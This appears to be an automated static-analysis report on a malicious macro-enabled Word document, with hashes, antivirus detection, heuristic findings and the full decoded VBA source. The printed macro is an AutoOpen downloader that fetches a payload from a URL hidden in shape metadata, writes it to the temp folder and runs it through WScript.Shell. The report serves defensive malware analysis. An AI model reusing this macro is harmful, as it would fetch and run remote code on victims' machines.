Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 65ae12426a34a580…

MALICIOUS

Office (OOXML)

111.5 KB Created: 2020-08-06 10:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: cdc8c1aeaed26eda670d8c61ffe74633 SHA-1: e3a50898b4f60a9108385ad7d6bc735b00a500f8 SHA-256: 65ae12426a34a5802ca0c627aa4749206e2a75b57d9f938c69112af9be55be1a
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to download content from an external source. The script attempts to download a file to the user's temporary directory as 'main.theme' and then execute it. This indicates a downloader or droppper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Banshee-9757096-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Banshee-9757096-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ca3c6e8a(cbd6d80e)
Set d7f0a36a = CreateObject("wscript.shell")
Call d7f0a36a.exec(cbd6d80e)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function ca3c6e8a(cbd6d80e)
Set d7f0a36a = CreateObject("wscript.shell")
Call d7f0a36a.exec(cbd6d80e)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim dd859ba9 As New d4c9a040
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 054efaea73cdb5b80656354c606e9b389e70eea56c4245560f64b83a9749d501
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim dd859ba9 As New d4c9a040
Dim f9450a05 As String
f9450a05 = dc893645(ActiveDocument.Shapes(1).AlternativeText)
a123a4b1 = dd859ba9.fd0a2e8b(f9450a05)
e8f13c5f b987b075, a123a4b1
fed9debe = dd859ba9.ca3c6e8a(ba470f52 & " " & b987b075)
End Sub

Attribute VB_Name = "d76e6ce3"
Sub e8f13c5f(a5e4bdfb, c3d3e925)
Dim c1e999b1
c1e999b1 = FreeFile
Open a5e4bdfb For Output As #c1e999b1
Print #c1e999b1, f93d5f7d(c3d3e925)
Close #c1e999b1
End Sub
Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
Function dc893645(c4a43b8c)
'dc893645 = StrReverse(c4a43b8c)
dc893645 = c4a43b8c
End Function
Sub e6919a6f()
End Sub
Function f93d5f7d(c3d3e925)
f93d5f7d = StrConv(c3d3e925, 64)
End Function
Function ba470f52()
ba470f52 = dc893645(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "d4c9a040"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function fd0a2e8b(a2b789f8)
Dim df84ba8c As Object
Set df84ba8c = New MSXML2.XMLHTTP60
aaa = df84ba8c.Open("GET", a2b789f8, False)
df84ba8c.Send
fd0a2e8b = df84ba8c.responsebody
End Function
Function ca3c6e8a(cbd6d80e)
Set d7f0a36a = CreateObject("wscript.shell")
Call d7f0a36a.exec(cbd6d80e)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: cbae3952574f40d57197b3f1da70730f152355d360d6109aa8fb2fe360d964c7
Detection
ClamAV: Doc.Malware.Banshee-9757096-0
Obfuscation or payload: unlikely

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